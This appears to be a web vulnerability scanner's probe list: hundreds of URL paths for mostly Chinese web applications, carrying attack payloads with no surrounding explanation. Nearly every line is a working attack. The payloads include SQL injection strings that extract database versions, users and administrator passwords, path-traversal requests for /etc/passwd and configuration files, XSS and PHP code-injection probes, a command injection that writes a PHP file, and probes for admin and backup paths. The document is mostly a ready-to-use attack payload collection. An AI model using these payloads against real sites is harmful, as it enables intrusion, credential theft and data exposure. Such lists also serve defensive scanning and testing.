/reports/CreateReportTable.jsp?site=0
/resin-doc/resource/tutorial/jndi-appconfig/test?inputFile=/etc/passwd
/resin-doc/viewfile/?file=index.jsp
/resource/jpk/search.jsp?coursetype=0&applyyear=0&university=%CF%C3%C3%C5%B4%F3%D1%A7&subject1=0&subject2=0&name=%25%27%20AND%201122%3D%28SELECT%20UPPER%28XMLType%28CHR%2860%29%7C%7CCHR%28104%29%7C%7CCHR%28107%29%7C%7CCHR%2858%29%7C%7C%28SELECT%20%28CASE%20WHEN%20%281122%3D1122%29%20THEN%201%20ELSE%200%20END%29%20FROM%20DUAL%29%7C%7CCHR%2858%29%7C%7CCHR%2849%29%7C%7CCHR%2857%29%7C%7CCHR%2857%29%7C%7CCHR%2855%29%29%29%20FROM%20DUAL%29%20AND%20%27%25%27%3D%27
/respond.php?code=alipay&subject=0&out_trade_no=%00'order%20by%20010101010webscan%20--%20(
/resume/?key=xxxx%bf%22;alert(360);//
/robots.txt
/robots.txt/360.php
/rss.php?module=news&attasql=union%20select%201,reer,3,4%20from%20boka_members%20where%20uid=1%20order%20by%20id%20asc%20%20--%20a
/s/click.php?bGlua19pZD0nIG9yIHVwZGF0ZXhtbCgxLGNvbmNhdCgweDdlLHZlcnNpb24oKSwweDdlKSwwKSM=
/s/go.php?bGlua19pZD0nIG9yIHVwZGF0ZXhtbCgxLGNvbmNhdCgweDdlLHVzZXIoKSwweDdlKSwwKSM=
/samples/
/schedule/Entrust.aspx?nidlist=0,1)/**/and/**/1=CHAR(106)%20--
/script
/scripts/
/scripts/uistrings.cgi
/scrp/feedbackdetail.cfm?iSno=-4321%20UNION%20ALL%20SELECT%20NULL,NULL,NULL,NULL,NULL,NULL,CHR(119)%7C%7CCHR(101)%7C%7CCHR(98)%7C%7CCHR(115)%7C%7CCHR(99)%7C%7CCHR(97)%7C%7CCHR(110)%7C%7CCHR(58)%7C%7CCHR(105)%7C%7CCHR(58)%7C%7CCHR(102)%7C%7CCHR(105)%7C%7CCHR(110)%7C%7CCHR(100),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL%20FROM%20DUAL--%20
/scrp/feedbackdetail.cfm?iSno=1%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL)
/seach.php?cat2id=-8%20UNION%20SELECT%201,2,3,4,concat(0x7c,md5(1122),0x7c),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40%23
/search.do?searchInfo=12'%20and%201=(updatexml(1,concat(0x5e24,(select%20md5(1122)),0x5e24),1))%20%23
/search.php?encode=YToxOntzOjQ6ImF0dHIiO2E6MTp7czoxMjU6IjEnKSBhbmQgMT0yIEdST1VQIEJZIGdvb2RzX2lkIHVuaW9uIGFsbCBzZWxlY3QgY29uY2F0KHVzZXJfbmFtZSwweDNhLHBhc3N3b3JkLCciXCcpIHVuaW9uIHNlbGVjdCAxIyInKSwxIGZyb20gZWNzX2FkbWluX3VzZXIjIjtzOjE6IjEiO319
/search.php?mod=information&ids=1-webscan&catid=1
/search.php?part=course&keywords=%27/**/AND/**/(SELECT/**/1/**/FROM(SELECT/**/COUNT(*),CONCAT(version(),(0x7C),md5(1122),(0x7C),FLOOR(RAND(0)*2))x/**/FROM/**/INFORMATION_SCHEMA.CHARACTER_SETS/**/GROUP/**/BY/**/x)a)/**/and/**/%27a%27=%27a
/search.php?query=a';?%3E%3C?exit(sha1('360webscan'));?%3E&modelid=1%20or%202=2
/search/index/portalId/427?keyword=1'%7C%7C(SELECT%20'ijx'%20FROM%20DUAL%20WHERE%201122=1122%20AND%204567=UTL_INADDR.GET_HOST_ADDRESS((SELECT%20chr(114)%7C%7Cchr(101)%7C%7Cchr(106)%7C%7Cchr(101)%7C%7Cchr(114)%20FROM%20dual)))%7C%7C'
/search2/shelves_checkout.jsp?library_id=A&rec_ctrl_id=-1%27+and+1=2+union+select+NULL,char(106)%2bchar(58),NULL,NULL,NULL,NULL,NULL,NULL,NULL--
/searchLines.aspx?LName=h%25';
/searchLines.aspx?LName=h&t=webscan()'
/secure/Signup!default.jspa
/seeyon/main.do?method=certDown&realPath=../../base/conf/datasource.properties%00a
/seeyon/management/status.jsp
/selfservice/downfile/down?id=-1%20union%20all%20select%20db_name(),2,CAST(CAST(@@version%20AS%20VARCHAR(500))%20AS%20IMAGE)--/hire/zp_options/showtestquestion?a_testid=-1%20union%20all%20select%20'htm',CAST(CAST(@@version%20AS%20VARCHAR(500))%20AS%20IMAGE)--
/selfservice/infomanager/board/downboardview?id=-1%20union%20all%20select%20db_name(),2,CAST(CAST(@@version%20AS%20VARCHAR(500))%20AS%20IMAGE)--/hire/zp_options/showtestquestion?a_testid=-1%20union%20all%20select%20'htm',CAST(CAST(@@version%20AS%20VARCHAR(500))%20AS%20IMAGE)--
/selfservice/welcome/downboard?id=-1%20union%20all%20select%20db_name(),2,CAST(CAST(@@version%20AS%20VARCHAR(500))%20AS%20IMAGE)--/hire/zp_options/showtestquestion?a_testid=-1%20union%20all%20select%20'htm',CAST(CAST(@@version%20AS%20VARCHAR(500))%20AS%20IMAGE)--
/selfservice/welcome/downboardview?id=-1%20union%20all%20select%20db_name(),2,CAST(CAST(@@version%20AS%20VARCHAR(500))%20AS%20IMAGE)--/hire/zp_options/showtestquestion?a_testid=-1%20union%20all%20select%20'htm',CAST(CAST(@@version%20AS%20VARCHAR(500))%20AS%20IMAGE)--
/server-info
/server-status
/servermanage.php?NodeID=-1&SelType=-1%29%20UNION%20SELECT%201%2C2%2Cconcat%28md5%280x4515421%29%2C0x7c%2Cdatabase%28%29%2C0x7c%2Cuser%28%29%29%2C4%2C5%2C6%2C7%2C8%2C9%2C10%2C11%2C12%2C13%2C14%2C15%2C16%2C17%2C18%2C19%2C20%23
/servermanage.php?SelType=-1)%20AND%20(SELECT%20360%20FROM(SELECT%20COUNT(*),CONCAT(0x3A703A,(MID((IFNULL(CAST(md5(0x7765627363616e)%20AS%20CHAR),0x20)),1,50)),0x3A713A,FLOOR(RAND(0)*2))x%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS%20GROUP%20BY%20x)a)%20AND%20(1=1
/service/local/outreach/welcome/nexusSpaces.css
/service/showdevice.php?iDeviceId=-1%20UNION%20SELECT%201%2C2%2Cconcat%28md5%280x4515421%29%2C0x7c%2Cdatabase%28%29%2C0x7c%2Cuser%28%29%29%2C4%2C5%2C6%2C7%2C8%2C9%2C10%2C11%2C12%2C13%2C14%2C15%23
/servlet/FileDownload?filepath=/etc/passwd&dispname=42873.txt
/servlet/FileDownload?filepath=c:/windows/win.ini&dispname=42873.txt
/servlet/FileUploadServlet?fileName=../WEB-INF/proxool.xml
/servlet/HistoryDownLoad?id=-1%20union%20all%20select%201,CAST(CAST(@@version%20AS%20VARCHAR(500))%20AS%20IMAGE)/hire/zp_options/showtestquestion?a_testid=-1%20union%20all%20select%20'htm',CAST(CAST(@@version%20AS%20VARCHAR(500))%20AS%20IMAGE)--
/servlet/OutputCode?path=c:/windows/win.ini
/servlet/com.runqian.base.util.ReadJavaScriptServlet?file=../../../../../../../../../../etc/passwd
/servlet/com.runqian.base.util.ReadJavaScriptServlet?file=../../../../../../../../conf/resin.conf
/servlet/com.runqian.report.view.html.GraphServlet?picFile=../../../../../../../../conf/resin.conf
/servlet/hirelogin/BrowseFileServlet?dbName=Usr&a0100=-1'%20union%20all%20select%20CAST(CAST(@@version%20AS%20VARCHAR(500))%20AS%20IMAGE),2--/hire/zp_options/showtestquestion?a_testid=-1%20union%20all%20select%20'htm',CAST(CAST(@@version%20AS%20VARCHAR(500))%20AS%20IMAGE)--
/servlet/hirelogin/BrowseFileServlet?dbName=Usr&i9999=-1%20union%20all%20select%20CAST(CAST(@@version%20AS%20VARCHAR(500))%20AS%20IMAGE),2--/hire/zp_options/showtestquestion?a_testid=-1%20union%20all%20select%20'htm',CAST(CAST(@@version%20AS%20VARCHAR(500))%20AS%20IMAGE)--
/servlet/hirelogin/BrowseFileServlet?dbName=k00%20where%201=2%20union%20all%20select%20CAST(CAST(@@version%20AS%20VARCHAR(500))%20AS%20IMAGE),2--/hire/zp_options/showtestquestion?a_testid=-1%20union%20all%20select%20'htm',CAST(CAST(@@version%20AS%20VARCHAR(500))%20AS%20IMAGE)--
/servlet/performance/fileDownLoad?article_id=-1%20union%20all%20select%20CAST(CAST(@@version%20AS%20VARCHAR(500))%20AS%20IMAGE),2--/hire/zp_options/showtestquestion?a_testid=-1%20union%20all%20select%20'htm',CAST(CAST(@@version%20AS%20VARCHAR(500))%20AS%20IMAGE)--
/servlet/performance/fileDownLoad?opt=hire&e01a1=-1'%20union%20all%20select%20CAST(CAST(@@version%20AS%20VARCHAR(500))%20AS%20IMAGE),2--/hire/zp_options/showtestquestion?a_testid=-1%20union%20all%20select%20'htm',CAST(CAST(@@version%20AS%20VARCHAR(500))%20AS%20IMAGE)--
/servlet/performance/fileDownLoad?opt=workView&file_id=-1%20union%20all%20select%20CAST(CAST(@@version%20AS%20VARCHAR(500))%20AS%20IMAGE),2--/hire/zp_options/showtestquestion?a_testid=-1%20union%20all%20select%20'htm',CAST(CAST(@@version%20AS%20VARCHAR(500))%20AS%20IMAGE)--
/servlet/performance/fileDownLoad?opt=workView&file_id=-1&p0100=-1%20union%20all%20select%20CAST(CAST(@@version%20AS%20VARCHAR(500))%20AS%20IMAGE),2--/hire/zp_options/showtestquestion?a_testid=-1%20union%20all%20select%20'htm',CAST(CAST(@@version%20AS%20VARCHAR(500))%20AS%20IMAGE)--
/setMaterials.do?ITEM_ID=12'%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(58)%7C%7CCHR(99)%7C%7CCHR(102)%7C%7CCHR(114)%7C%7CCHR(101)%7C%7CCHR(101)%7C%7CCHR(114)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(106)%7C%7CCHR(120)%7C%7CCHR(58)%7C%7CCHR(62)))%20FROM%20DUAL)%20AND%20'FrOd'='FrOd
/setup/setup1.jsp
/sgin/filemanage/default.asp?action=viewfolder&path=
/share.php?F_email=test@vul.org%27+and+(select+1+from(select+count(*),concat(0x7c,(select+(Select+concat(0x7e,md5(1122),0x7e)+from+user+limit+0,1)),0x7c,floor(rand(0)*2))x+from+information_schema.tables+group+by+x+limit+0,1)a)%23/test
/shipinbofang.jsp?TID=-1234'%20UNION%20ALL%20SELECT%20NULL,NULL,chr(119)%7C%7Cchr(101)%7C%7Cchr(98)%7C%7Cchr(115)%7C%7Cchr(99)%7C%7Cchr(97)%7C%7Cchr(110)%7C%7Cchr(58)%7C%7Cchr(105)%7C%7Cchr(58)%7C%7Cchr(102)%7C%7Cchr(105)%7C%7Cchr(110)%7C%7Cchr(100),NULL,NULL,NULL%20FROM%20DUAL--%20&ColumnID=86
/shop.php?ac=view&shopid=1-cfreer
/shop.php?ctl=index&act=ajax_purpose_store&purpose_id=1%20and%20(select/**/%201%20from/**/%20(select/**/%20count(*),concat(md5(1122),floor(rand(0)*2))x%20from/**/%20information_schema.tables%20group%20by%20x)a)%23
/show.asp?id=2621%20union%20SELECT%201,2,0x7700650062007300630061006E003A0066006F0075006E0064003A00760075006C00,4,5,6,7,8,9,10,11,12,13,14,15,16%20FROM%20ADMIN
/show.aspx?type=1&action=GetImg&pids=(select%20char(58))
/show.jsp?id=5'%20and%20(select%201%20from%20%20(select%20count(*),concat(0x3E7765627363616E3A66696E643C,floor(rand(0)*2))x%20from%20%20information_schema.tables%20group%20by%20x)a)%20AND%20'AT'='AT
/showmanufacturer.aspx?categoryfilterid=-12%20and%201=char(106)&manufacturerfilterid=1&distributorfilterid=0&affiliatefilterid=0&customerlevelfilterid=0&producttypefilterid=0&show=all
/shownews.aspx?newsno=-1'%20AND%201=CHAR(106)%20--
/shownews.aspx?newsno=-1'%20and%201=char(106)%20--
/showproduct.aspx?ProductID=6559&CategoryFilterID=-51%20or%201=char(106)
/showsearch.aspx?HotSearchWord=-1';%20if(12=13)%20select%201234%20else%20drop%20function%20jjyy%20--
/showtopiclist.aspx?direct=0%22/%3E%3Cscript%3Ealert(42873)%3C/script%3E&forumid=-1&order=1&page=1&search=1&type=
/showtopiclist.aspx?direct=0&forumid=-1&order=1%22/%3E%3Cscript%3Ealert(42873)%3C/script%3E&page=1&search=1&type=
/siteserver/UserRole/background_userAdd.aspx?UserName=1122'%20and%20char(106)%20=1%20--&ReturnUrl=../cms/console_user.aspx
/siteserver/UserRole/modal_userView.aspx?UserName=dd'%20and%201=char(106);--
/siteserver/cms/console_tableMetadata.aspx?ENName=cms_Content%27%29%20and%200%3C%28select%20top%201%20isnull%28cast%28%5Breer1122%5D%20as%20nvarchar%284000%29%29%2Cchar%2832%29%29%20from%20bairong_Administrator%20where%201%3D1%20and%20UserName%20not%20in%20%28select%20top%200%20UserName%20from%20bairong_Administrator%20where%201%3D1%20group%20by%20UserName%29%29%3B--
/siteserver/cms/modal_contentGroupAdd.aspx?PublishmentSystemID=2222&GroupName=123'%20and%20char(106)=1%20--
/siteserver/cms/modal_contentTagAdd.aspx?PublishmentSystemID=2109&TagName=1111'%20and%20char(106)=0%20--
/siteserver/userRole/modal_sendMail.aspx?From=User&UserNameCollection=test'+and+char(106)%2bchar(106)=0%20--
/sofpro/SltGecsMember?actiontype=WEB_EDIT_DETAIL&member_seq=-1
/solr/dev/admin/
/specialty.asp?Tbynf=1%20and%201%3Echar(106)%20--
/sql.inc
/sqoa/faWenAction.do?step=toRead&readFile.id=&readFile.fileId=../../../../../../../../../etc/passwd&readFile.type=txt
/sssweb/onlineVote/fvote.aspx?questionnaireID=-11'%20and%201=char(106)%20--
/stat/stat.aspx?statid=1'%20And%201=(select%20db_name())%20--
/statistics.php?pageurl=pageurl&referer=http://www.baidu.com/?wd=aaaa%2527),((select%201%20from%20(select%20count(*),concat(version(),0x7c,md5(1122),0x7c,floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a),2,3,4,5,6,7,8,9)%23
/statistics.php?referer=http://www.google.com/search?q=a%2527),(null,null,null,null,null,null,null,null,(SELECT%201%20from%20(select%20count(*),concat(floor(rand(0)*2),(substring((select(select%20concat(user_name,0x7c,password)%20from%20nitc_user%20limit%200,1)),1,62)))a%20from%20information_schema.tables%20group%20by%20a)b))%23&b=c&pageurl=1
/store.php?Uid=1-db_mymps-my_member%60%20where%201%20and%20(select%201%20from%20%20(select%20count(*),concat((select%20concat(0x3a,md5(1122),0x3a)%20from%20my_admin%20limit%200,1),floor(rand(0)*2))x%20from%20%20information_schema.tables%20group%20by%20x)a)%23
/styles/outlook1/tools/calendar/calEditEvent.php?action=edit%22%3E%3Cscript%3Ealert(42873)%3C/script%3Ebad=%22&calid=
/subareamanage.php?NodeID=-1%20UNION%20SELECT%201%2Cconcat%28md5%280x4515421%29%2C0x7c%2Cdatabase%28%29%2C0x7c%2Cuser%28%29%29%2C3%2C4%2C5%2C6%2C7%2C8%2C9%2C10%23
/subareamanage.php?Page=1&&DelNode=1&NodeType=-1%20or%201=1%20and%20(SELECT%201%20and%20ROW(1,1)%3E(SELECT%20COUNT(*),CONCAT(md5(0x7765627363616e),0x3a,FLOOR(RAND(0)*2))x%20FROM%20INFORMATION_SCHEMA.COLLATIONS%20GROUP%20BY%20x)a)
/suggestwordList.php?searchWord=a&language=1%20and%20(SELECT%201%20from%20(select%20count(*),concat(floor(rand(0)*2),(substring((select(select%20md5(1122)%20from%20nitc_user%20limit%200,1)),1,62)))a%20from%20information_schema.tables%20group%20by%20a)b)
/superadmin/
/swfupload/upload_files.php?uid=1%7Cecho+cedar+%3E%3Eohehe.php
/sys/user/addfunction.jsp?RoleID=1')%20UNION%20all%20SELECT%200x3E5F6F686568655F3C,NULL,NULL,NULL,NULL,NULL,NULL%23
/sys/user/agenttree_xml.jsp?_conf_type=user&_parent_id=1'%20UNION%20all%20SELECT%20NULL,NULL,0x3E5F6F686568655F3C,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL%23
/sys/user/changedept.jsp?DeptID=1'%20UNION%20ALL%20SELECT%200x3E5F6F686568655F3C,NULL%23&AgentID=1
/sys/user/p_dept_group_seldept.jsp?GroupID=1')%20UNION%20all%20SELECT%200x3E5F6F686568655F3C,NULL,NULL,NULL%23
/sys/user/portal_module_permission_parts_xml.jsp?_conf_type=user&_parent_id=1'%20UNION%20ALL%20SELECT%20NULL,NULL,0x6A7573743A693A66696E64,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL%23
/sys/user/webagentlist.jsp?DeptID=1'%20UNION%20ALL%20SELECT%20NULL,NULL,0x6A7573743A693A66696E64,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL%23
/sys/user/webagenttree_xml.jsp?_parent_id=1'%20UNION%20ALL%20SELECT%20NULL,NULL,0x6A7573743A693A66696E64,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL%23
/sysinfo.jsp
/system/
/system/config/groupTreeXml.jsp?type=group&SG04=1'+UNION+ALL+SELECT+1,CHAR%2859%29%2bCHAR%28106%29,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1--
/system/login.asp
/system/login.aspx
/system/login.jsp
/system/login.php
/system/nhome/login.jsp?message=%22)--%3E%3C/script%3E%3Cscript%3Ealert(42873)%3C/script%3E
/systems/dept/dept_edit.aspx?CodeId=-4)%20and%201=char(106)--&id=1057
/temp/compiled/pages.lbi.php/%22%3C/form%3E%3CsCripT%3Ealert(42873)%3C/scRipt%3E
/templates/
/tender/tender/findlssuingBytender.action?currentPage=1&pageSize=10&returnWayId=0&moneyUseId=0&periodTimeId=0&periodDayId=0&award=2&money1=1%20and%20(select%201%20from%20(select%20count(*),concat(md5(0x221),floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a)%23&money2=1&satate=100
/test.asp
/test.aspx
/test.jsp
/test.php
/tj/list.aspx?typeid=1'%20and%20(char(106)%2bchar(106))%3E0--
/tj/total.aspx?act=other&typeid=1%27%20AND%209518%3DCONVERT%28INT%2C%28SELECT%20char%28119%29%2bchar%28101%29%2bchar%2898%29%2bchar%28115%29%2bchar%2899%29%2bchar%2897%29%2bchar%28110%29%2bchar%2858%29%2bchar%28105%29%2bchar%2859%29%2bchar%28102%29%2bchar%28105%29%2bchar%28110%29%2bchar%28100%29%2b%28SELECT%20%28CASE%20WHEN%20%289518%3D9518%29%20THEN%20CHAR%2849%29%20ELSE%20CHAR%2848%29%20END%29%2bCHAR%28100%29%29%29%29%20AND%20%27xhJK%27%3D%27xhJK
/toall/desktop/dbform.asp?fn=&fntxt=&varid=8%20AND%201122%3DCONVERT%28INT%2C%28CHAR%2899%29%2bCHAR%28102%29%2bCHAR%28114%29%2bCHAR%28101%29%2bCHAR%28101%29%2bCHAR%28114%29%2bCHAR%2858%29%2bCHAR%28105%29%2bCHAR%2858%29%2bCHAR%28106%29%2bCHAR%28120%29%29%29
/tools/life/jiufang/?q=%7B%24%7Bexit%28md5%28%27fdsfdsfds%27%29%29%7D%7D
/tophp.asp
/tp_2_2/real_time_rfc2544_result.jsp?testTime=/../../../../../../../../etc/passwd%00
/treefordevicelog.php?iSub=1&id=-1%20UNION%20SELECT%201%2C2%2Cconcat%28md5%280x4515421%29%2C0x7c%2Cdatabase%28%29%2C0x7c%2Cuser%28%29%29%2C4%2C5%2C6%2C7%2C8%2C9%2C10%2C11%2C12%2C13%2C14%2C15%23
/treeformap.php?iSub=1&id=-1%20UNION%20SELECT%201%2C2%2Cconcat%28md5%280x4515421%29%2C0x7c%2Cdatabase%28%29%2C0x7c%2Cuser%28%29%29%2C4%2C5%2C6%2C7%2C8%2C9%2C10%2C11%2C12%2C13%2C14%2C15%23
/treeforrecordalarm.php?iSub=1&id=-1%20UNION%20SELECT%201%2C2%2Cconcat%28md5%280x4515421%29%2C0x7c%2Cdatabase%28%29%2C0x7c%2Cuser%28%29%29%2C4%2C5%2C6%2C7%2C8%2C9%2C10%2C11%2C12%2C13%2C14%2C15%23
/truexxgk/app/nrglController/loadZwgk?zdjc=reer'%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(58)%7C%7CCHR(99)%7C%7CCHR(102)%7C%7CCHR(114)%7C%7CCHR(101)%7C%7CCHR(101)%7C%7CCHR(114)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(106)%7C%7CCHR(120)%7C%7CCHR(58)%7C%7CCHR(62)))%20FROM%20DUAL)%20AND%20'FrOd'='FrOd&type=1
/truexxgk/app/xxgkznController/firstXxgkznByZdjc/'%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(58)%7C%7CCHR(99)%7C%7CCHR(102)%7C%7CCHR(114)%7C%7CCHR(101)%7C%7CCHR(101)%7C%7CCHR(114)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(106)%7C%7CCHR(120)%7C%7CCHR(58)%7C%7CCHR(62)))%20FROM%20DUAL)%20--
/tt/trade/register.asp?step=checkdup&checkname=ologinname&checkval=haha'%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL)%20--&pk=0
/tuan.php?ctl=order&search=YToxOntzOjc6InNlX25hbWUiO3M6Mjg1OiInIGFuZCAwIHVuaW9uIHNlbGVjdCAxLG1kNSgweDc3NjU2MjczNjM2MTZlKSwzLDQsNSw2LDcsOCw5LDEwLDExLDEyLDEzLDE0LDE1LDE2LDE3LDE4LDE5LDIwLDIxLDIyLDIzLDI0LDI1LDI2LDI3LDI4LDI5LDMwLDMxLDMyLDMzLDM0LDM1LDM2LDM3LDM4LDM5LDQwLDQxLDQyLDQzLDQ0LDQ1LDQ2LDQ3LDQ4LDQ5LDUwLDUxLDUyLDUzLDU0LDU1LDU2LDU3LDU4LDU5LDYwLDYxLDYyLDYzLDY0LDY1LDY2LDY3LDY4LDY5LDcwLDcxLDcyLDczLDc0LDc1LDc2LDc3LDc4LDc5LDgwLDgxLDgyLDgzLDg0ICMiO30=
/tuan.php?ctl=subscribe&act=unsubscribe&code=JyBhbmQgKHNlbGVjdC8qKi8gMSBmcm9tLyoqLyAoc2VsZWN0LyoqLyBjb3VudCgqKSxjb25jYXQobWQ1KDExMjIpLGZsb29yKHJhbmQoMCkqMikpeCBmcm9tLyoqLyBpbmZvcm1hdGlvbl9zY2hlbWEudGFibGVzIGdyb3VwIGJ5IHgpYSkj
/u.php/member-login?id=header_login%27%22%28%29%26%25%3CScRiPt%20%3Eprompt%2842873%29%3C/ScRiPt%3E&style=1
/u8qx/login_SelectDM.jsp?type=tree&select=slGS&id=inputDW&cdtn=kjnd=-4622%20UNION%20ALL%20SELECT%20CHAR%28113%29%2bCHAR%28107%29%2bCHAR%28107%29%2bCHAR%2898%29%2bCHAR%28113%29%2bCHAR%2875%29%2bCHAR%28122%29%2bCHAR%2874%29%2bCHAR%28103%29%2bCHAR%28118%29%2bCHAR%28103%29%2bCHAR%2888%29%2bCHAR%2875%29%2bCHAR%2879%29%2bCHAR%2887%29%2bCHAR%28118%29%2bCHAR%28121%29%2bCHAR%28122%29%2bCHAR%28107%29%2bCHAR%28115%29%2bCHAR%2886%29%2bCHAR%2873%29%2bCHAR%2885%29%2bCHAR%28118%29%2bCHAR%28104%29%2bCHAR%28119%29%2bCHAR%28108%29%2bCHAR%2879%29%2bCHAR%2885%29%2bCHAR%2865%29%2bCHAR%28102%29%2bCHAR%28100%29%2bCHAR%2868%29%2bCHAR%2899%29%2bCHAR%2887%29%2bCHAR%28101%29%2bCHAR%2883%29%2bCHAR%28106%29%2bCHAR%2869%29%2bCHAR%2880%29%2bCHAR%2868%29%2bCHAR%2890%29%2bCHAR%28106%29%2bCHAR%2897%29%2bCHAR%2882%29%2bCHAR%28113%29%2bCHAR%2898%29%2bCHAR%28112%29%2bCHAR%28112%29%2bCHAR%28113%29,48,48%20--%20-
/uapws/
/uapws/service/
/uapws/service/nc.itf.ses.inittool.PortalSESInitToolService?wsdl
/uc_server/admin.php
/uc_server/data/config.inc.php.bak
/uddiexplorer/SearchPublicRegistries.jsp?operator=http://127.0.0.1:80&rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search
/upload/
/uploads/
/user
/user.php?act=is_registered&username=%CE%27360webscan%23
/user.php?back_act=http://127.0.0.1%22style=x:expression(alert(42873))%3E
/user/?q=help&type=search&page=1&kw=webscan%22;%20alert(42873);//&lang=zh_CN
/user/City_ajax.aspx?Cityid=-1'%20%20union%20%20SELECT%20'webscan',2%20FROM%20fs_sys_User%20WHERE%20id=7%20%20and%20'1'='1
/user/SetNextOptions.asp?sType=1&EquValue=aaaa&SelectName=aaa&ReqSql=select+20120328,admin_pass_word,3,4,5,6,7,8++from+FS_MF_Admin
/user/http/httpnews.php?type=html&id=1%20and%201=2%20union%20all%20select%201,@@version,3,md5(0x45154),5,6,7,8,9,10
/user/reg/regajax.asp?action=getcityoption&province=goingta%2527%2520union%2520%2573%2565%256C%2565%2563%2574%25201,username%252B%2527%257C%2527%252Bpassword%2520from%2520KS_Admin%2500
/user/storage_explore.php
/user/storage_fold_explore.php
/user/userzone/School/download.aspx?f=/config/ConnectionStrings.config
/usermanage.php?NodeID=-1%20UNION%20SELECT%201%2Cconcat%28md5%280x4515421%29%2C0x7c%2Cdatabase%28%29%2C0x7c%2Cuser%28%29%29%2C3%2C4%2C5%2C6%2C7%2C8%2C9%2C10%23
/users.ini
/users.txt
/utilities.php?tail_lines=50&message_type=-1&go.x=10&go.y=9&refresh=20&reverse=1&filter=%22%3E%25%3Cscript%3Eprompt(42873)%3C/script%3E&page=1&action=view_logfile
/varset/modifyTime.asp?varname=&id=495'%20union%20all%20select%201,2,3,0x66696E643A76756C,5,6,7,8,9%20from%20teachers%20--
/vc/vc/index/que_index.jsp
/venus/AsVenusCA/desk/message/reply.asp
/video/videoView.jsp?videoid=250%20AND%201=(SELECT%20CHAR(106)%2bCHAR(58))
/viewlist.aspx?typeid=webscan()'
/views.asp
/viewthread.php?tid=250523
/viewthread.php?tid=31926
/viewthread.php?tid=8974
/vote.php?act=dovote&name[1%20and%20(select%201%20from(select%20count(*),concat(0x7c,(select%20(Select%20version())%20from%20information_schema.tables%20limit%200,1),0x7c,floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x%20limit%200,1)a)%23][111]=aa
/voteresult.aspx?activeid=-1%20UNION%20SELECT%201,char(106)%2bchar(106),3,4,5%20from%20syscolumns%20--
/wap.php?pageBody=%3Cscript%3Ealert(42873)%3C/script%3E
/wap/index.php
/wap/index.php/admin.php?c=job&pr=-1%20UNI00000000ON%20sel00000000ect%23%0amd5(0x4141),1,md5(0x4141),3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9%23&hy=%0a,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1%23&num=&exp=&edu=%0a%20fro00000000m%20phpyun_admin_user%20limit%201%23&type=&uptime=
/wap/index.php?ac=search&at=taglist&tagkey=a%2527
/wap/index.php?ctl=synclogin&post_type=json&login_type=Sina&from=wap&sina_id=-1'%20union%20select%201,2,concat(0x7c,md5(1122),0x7c),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72%23&code=1
/wap/index.php?keywords='and((select%201%20from(select%20count(*),concat((select%20(select%20(SELECT%20CHAR(100,%2056,%20100,%2057,%2048,%2097,%2097,%2057,%2052,%2051,%20101,%2052,%2097,%20100,%20100,%2050)))%20from%20information_schema.tables%20limit%200,1),floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a))and'&mod=search&page=2
/wap/index.php?mod=pm&pm_new=and(select%201%20from(select%20count(*),concat((select%20(select%20(select%20concat(0x27,0x7e,jishigou_members.username,0x27,0x7e,jishigou_members.password,0x27,0x7e)%20from%20jishigou_members%20where%20uid=1%20limit%200,1))%20from%20information_schema.tables%20limit%200,1),floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a)%20and%201=1
